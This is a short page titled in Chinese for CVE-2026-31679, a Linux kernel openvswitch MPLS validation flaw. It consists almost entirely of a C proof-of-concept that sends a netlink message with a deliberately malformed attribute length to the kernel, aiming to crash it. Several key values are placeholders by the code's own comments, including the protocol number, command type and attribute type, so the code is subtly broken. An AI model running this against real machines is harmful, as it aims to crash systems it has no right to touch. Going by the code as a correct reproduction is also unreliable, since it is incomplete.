CVE-2026-31679 Linux内核openvswitch MPLS验证漏洞

/* * PoC for CVE-2026-31679: Open vSwitch MPLS Payload Validation Bypass * This PoC attempts to trigger the vulnerability by sending a malformed * Netlink message with an invalid MPLS attribute length to the kernel. * Compile: gcc -o poc_mpls poc_mpls.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #define NETLINK_OVS_VPORT 32 // Placeholder for OVS Netlink family struct ovs_header { __u32 dp_ifindex; }; int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct ovs_header *ovsh = NULL; char *msg_payload; int ret; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_OVS_VPORT); if (sock_fd < 0) { perror("socket"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Allocate message buffer int payload_size = 1024; nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(payload_size)); memset(nlh, 0, NLMSG_SPACE(payload_size)); nlh->nlmsg_len = NLMSG_SPACE(payload_size); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_type = 0; // Specific OVS command type would go here // Add OVS header ovsh = (struct ovs_header *)NLMSG_DATA(nlh); ovsh->dp_ifindex = 0; msg_payload = (char *)ovsh + sizeof(struct ovs_header); // Construct malformed nested attribute for OVS_ACTION_ATTR_SET // Simulating OVS_KEY_ATTR_MPLS with wrong size (e.g., 4 bytes instead of sizeof(struct ovs_key_mpls)) struct nlattr *nla = (struct nlattr *)msg_payload; nla->nla_len = 4; // Malformed length nla->nla_type = 0; // OVS_KEY_ATTR_MPLS placeholder // Fill remaining with junk data memset((void *)nla + sizeof(struct nlattr), 0x41, 4); printf("Sending malformed Netlink message to trigger CVE-2026-31679...\n"); sendto(sock_fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr*)&dest_addr, sizeof(dest_addr)); printf("Message sent. Check kernel logs (dmesg) for crashes.\n"); close(sock_fd); free(nlh); return 0; }